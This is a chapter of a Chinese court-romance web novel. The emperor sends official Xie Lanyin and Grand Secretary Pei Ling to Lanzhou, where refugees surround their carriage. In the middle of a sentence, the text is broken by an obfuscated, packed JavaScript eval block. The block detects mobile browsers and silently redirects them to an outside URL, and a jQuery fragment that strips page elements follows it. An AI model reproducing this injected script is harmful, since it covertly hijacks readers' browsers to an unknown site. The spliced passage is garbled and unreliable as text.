次日早朝,谢兰因离府前,琬翠端上一碗桂圆莲子汤。
“小姐昨夜又是一夜未眠,这汤温补安神,您喝点再去吧。”
“放着吧。”谢兰因揉了揉眉心,将案上的折子整理整齐齐后,这才看向那碗冒着热气的汤。
琬翠欲言又止,终究还是没忍住问:“小姐……裴首辅他,昨日可有为难您?”
谢兰因没有立刻作答,屋中安静了片刻,只听得见窗外鸟雀的三两声鸣叫。
“没有。”她开口,神色镇定。
琬翠稍稍松了口气,又忍不住道:“可奴婢见您房中烛火亮了一整夜,还以为您是为白日的事忧心……”
“不必多想。”
谢兰因端起汤盏抿了一口,热气氤氲而上,笼罩着她的脸颊,琬翠看不清她此刻的神情。
“兵来将挡,水来土掩。我如今虽惹不起他,难不成还躲不起么?”
说罢,她将剩余的热汤一饮而尽,搁下碗,转身朝门外走去。
*
散朝后,皇帝单独召见了谢兰因。
谢兰因踏入御书房时,皇帝正伏案批阅奏章。
闻得脚步声,他倒也没有抬头,只随口道了句“不必多礼”,便继续落笔。
谢兰因不语,径自往侧旁落座,静静候着。皇帝忙了多久,她便坐了多久。
“你倒也不拘着。”直到上首传来皇帝的含笑的嗓音,谢兰因才放下茶盏,起身回道。
“陛下早有安排,臣不过是奉命行事。”
这话是对着皇帝说的,可谢兰因的目光却落在案几的茶盏上。
“这世上知朕者,也唯你谢兰因了。”皇帝朗声一笑,将一封奏折推至桌角,“看看吧,兰州发来的急报。”
谢兰因颔首,接过奏章快速扫了一眼。
奏章上的文字简明,只道瑞王党羽在兰州似有异动,恳请皇帝派兵平息。
“他们倒是按捺得住,蛰伏了三年才有所动作。”谢兰因合上奏章,话音罕见地有了一丝波澜,“陛下作何打算?”
“你如何看待?”皇帝未答,只将这个烫手山芋抛还给了她。
“余孽不除,终成陛下心腹大患。”
“你的想法倒是和朕不谋而合。”皇帝若有所思地打量着谢兰因,半晌后,他站起身,走到窗边,“朕这个哥哥,向来野心勃勃,即便已然身死,他手底下的人却也从未打算放过朕。”
“朕心头的这根刺,扎了整整三年,也是时候该拔除了。”
“是。”谢兰因低下头,嗓音发冷,“臣听从陛下安排,如何拔,何时拔,全由陛下定夺。”
皇帝盯着她,盯了很长很长时间。
然后他笑了。
真正的笑,不是那种君王惯有的、让人猜不透的笑。
“谢兰因,这一次,朕需要你。”
谢兰因神色一怔,未等她开口,皇帝便继续道:
“朕登基三年,朝中臣子却是各怀异心。况且兰州那地方,山高水远,前朝余孽盘踞多年,朕派去的人,他要么立功,要么便送命。”
“所以这一趟浑水,无人敢蹚,朕亦无人能够托付。”
谢兰因很快便明白了皇帝的意思,她躬身一礼,神色恭敬:“臣自当为陛下效命。”
皇帝转过身,看向她,冷风从窗的缝隙间灌了进来,殿中炭火的光明明灭灭。
“谢兰因,你现在的样子,让朕想起了三年前,朕初见你的那一日。”
“那时候的你,分明不过只是个十七岁的少女,眼中却有着朕从未见过的决绝。”
谢兰因闻言目光微动:三年前的事,她记得很清楚。
那时的皇帝还是先帝的第九子,并不受宠。在所有人的眼中,他平庸、窝囊、毫无存在感。相比起炙手可热的瑞王,他便如一只蝼蚁,低到了尘埃里。谢兰因之所以会选择将自己的身家性命都堵在这样一个落魄皇子的身上,还是因为褚太傅的那句“那位九皇子,是个聪明人。”
褚太傅眼光毒辣,看人从无差错。而正是这样的一句无心之言,却让谢兰因听者有意。三年前,为保谢家满门,谢兰因主动入瑞王府待嫁,正是在那时,她与当时的九皇子结盟,共同进行着一个极其危险的计划——夺取皇位。
那不是两只卑微可怜虫的抱团取暖,而是两个野心家的彼此借力、各取所需。
“那年冬天,你跪在朕的面前,活脱脱就是一个亡命之徒,不怕死,更不在乎陪着朕这样落魄的人一起赴死。”
“你问朕的那个问题,朕也依旧记得。当时你说——”
“臣女斗胆一问,他日山河重整,若殿下终登大宝,可愿保我谢氏满门周全?”
“若是不能,你当如何?”
“倘若不能,那臣女今日带来的证据,便永无现世之日,只待臣女身殁,尽数埋入黄土。”
谢兰因在心中默念着当年自己说的话。耳畔,皇帝的声音清晰如昨,一字一句,毫厘不差。
都对上了。
她抬眸望去,皇帝的身影半隐于阴翳之中,神情莫辨,唯有那一袭明黄色的龙袍,灼灼夺目。
“那一日,你把你的将来赌给了朕,朕亦将自己的退路押在了你的身上。”
“事实证明,你赌赢了,朕也没输。”
皇帝的思绪从往事中渐渐拉回,他重新坐回了案后,恢复了惯常的神情:
“当年若非你冒死为朕送来情报,朕不会有今天。”
“当天下人皆弃我轻我、冷眼待我之时,唯有你,选择了朕。”
日光从窗缝里漏进来,落在他的侧脸上。
这次,谢兰因看清了:那张年轻的脸上,有君王的威严,也有某种更柔软的东西。
“朕与你,有君臣之谊,更有知遇之情。”
谢兰因跪了下去。
“臣,惶恐。”
皇帝看着她跪在那里的样子,脊背挺得笔直,像一株宁折不弯的梅。
他想起那年隆冬,第一次见到谢兰因时候,她也是这般跪在自己面前。那时的她,比现在还要瘦,还要单薄。
可她的脊背,却似乎从来没有弯过。
“起来吧,”他说,“别动不动就跪。你的膝盖,朕记得不太好。”
谢兰因起身后,皇帝召来内侍官吩咐了几句,内侍官领命后便躬身退出了御书房。
再回来时,他的身后多了一个人:裴泠。
谢兰因与裴泠的视线在空气中一触即分,后者旋即收回目光,向皇帝行礼,谢兰因亦垂眸,与他并肩立于殿中。
“此次前往兰州赈灾平乱,朕命你二人同往。”皇帝稍作停顿,语气放缓了些,目光从裴泠身上移到了谢兰因身上:“裴卿回京前常年驻守北地,对那一带颇为熟悉。谢卿心细,赈灾账目之事,你在行。”
“只是谢卿身为女子,出门在外总有不方便之处。若有需要,裴卿还需多照应几分。”
他顿了顿,语气里带了些意味深长:“此事交由你们二人,朕很放心。”
谢兰因的眉心一跳。她侧过头,飞快地看了裴泠一眼,见他神色自若,便也缓缓收回目光。
“臣,遵旨。”
两道声音几乎是同时响起,一道清冷,一道沉稳。
*
出了御书房,谢兰因脚步未停,径直往宫门走去。
身后传来不紧不慢的脚步声。
她没回头,那脚步声却一直跟着,不远不近。
走到马车前,谢兰因停了下来。她的马车停在那里,车夫正在套马,旁边还停着另一辆,黑漆平顶,纹饰华丽,是裴泠的。
她正要抬脚踩上矮凳,身后那道声音忽然响起:
“谢大人。”
谢兰因回过头,疑惑地看向他。
“兰州路远,陛下既嘱咐本官护你周全,便请谢大人与我共乘,莫要让我为难。未时三刻,马车在谢宅门口等候,过时不候。”
他未再多言,转身上了自己的马车。
车
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354953|199672||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
帘落下,马蹄声响起,那辆黑漆平顶的马车从她身旁驶过,往午门外去了。
谢兰因站在原地,看了一会儿。
车夫小心翼翼地开口:“大人,咱们走吗?”
她回过神,踩着矮凳上了马车。
“……走吧。”
*
谢兰因收拾完包袱出门时,裴泠的马车已经候在门外了。她算了算时辰,应当还未到约定的时间,裴泠这是提早来了。
她深吸了一口气,朝马车的方向走去。上了马车,便见裴泠端坐在车内,见她上来,只淡淡一眼,便匆匆移开视线。
“启程吧。”他吩咐车夫。
*
谢兰因与裴泠一路相对无言。
裴泠看书,她便闭目养神。这一程并不短,马车更是止不住地颠簸,晃得久了,眼皮便开始打架。困意渐渐袭来,谢兰因靠在车窗旁,沉沉睡去。
出乎意料的是,这一觉,她睡得格外安稳,半梦半醒间,她隐约感觉到有一片温热落在了自己的肩头,一股熟悉的香气萦绕在鼻尖,久久不散。
这是她难得一次没有在噩梦中惊醒。
不知过了多久,谢兰因缓缓睁开双眼,最先入目的是马车两侧的烛台,烛火正摇曳着,散发着微弱的光。
谢兰因回过头,掀开车帘往外看了一眼。
夜色笼罩,寒风从窗缝间挤入,凉意直透骨髓。窗外除了无边无际的白雪,什么也看不见。
她动了动,身上的那件氅衣便随着她的动作掉落在了地上。她目光一顿,弯下腰将它捡起。
衣上萦绕着檀香,是她方才在梦里闻见的那一缕。
这是裴泠的氅衣。
谢兰因抬起头,裴泠正阖着双眼,不知是睡着了,还是在小憩。
她将氅衣叠好,放在一旁。
“别多想。”
裴泠的声音不合时宜地响起,打破了此刻难得的静谧。谢兰因抬起头,他不知何时睁开了眼睛,二人的视线对上,仅一瞬便又各自错开。
“我只是怕你冻死。”
“……那便多谢裴首辅了。”谢兰因也不同他客气,重新拿起氅衣盖在身上。她换了个舒服的姿势,靠在软枕上思索着此行的对策。
*
次日午时,马车驶入兰州境内。
然而,迎接他们的却并非兰州县令,而是聚集在城门外土路两侧的暴动流民。
他们人多势众,来势汹汹,一见到过路的马车便蜂拥而上。群情激愤之下,马车四周很快便被围了个水泄不通。
车夫吓得勒停了马儿,一阵嘶鸣声过后,便是流民们尖锐的呐喊,此起彼伏,嘈杂不休。
“围住他们!车里头一定有粮食,不能让他们跑了!”
“想活命的都跟我上!粮食就在眼前,抢不着也是个死,跟他们拼了!”
“车上的人听着!我们只要粮食,不想伤人!别逼我们动手!”
流民们嘶吼着,推搡着,怨气冲天,更有甚者,竟妄图直接朝马车内扑去。
谢兰因听着马车外传来的动静,没忍住看向裴泠。后者依旧气定神闲,不慌不忙地抿着茶,好似外头的暴乱与他毫无干系。
“谢大人不必这么看我。”察觉到她的视线后,裴泠放下茶盏,睨了她一眼,“你心里明白,此时下车也无济于事。”
谢兰因沉默了:他说得没错。他们此行所带的干粮本就有限,朝廷派出的赈灾粮车又尚在半路,外头围聚着的流民却是人数众多。一旦给出了粮食,不但这些流民不会满意退却,还会吸引更多人前来索要。
这一点上,裴泠与她,倒是心照不宣。但若是一直被困在此处进退维谷,只怕天黑前也进不了城。
“那裴首辅打算如何?”谢兰因沉下声,反问裴泠。
裴泠仔细地注视了她片刻,忽然轻笑一声。
下一秒,他俯身,单手撑在膝上,凑到谢兰因的耳边:
“那便有劳谢大人,陪我演一出戏。”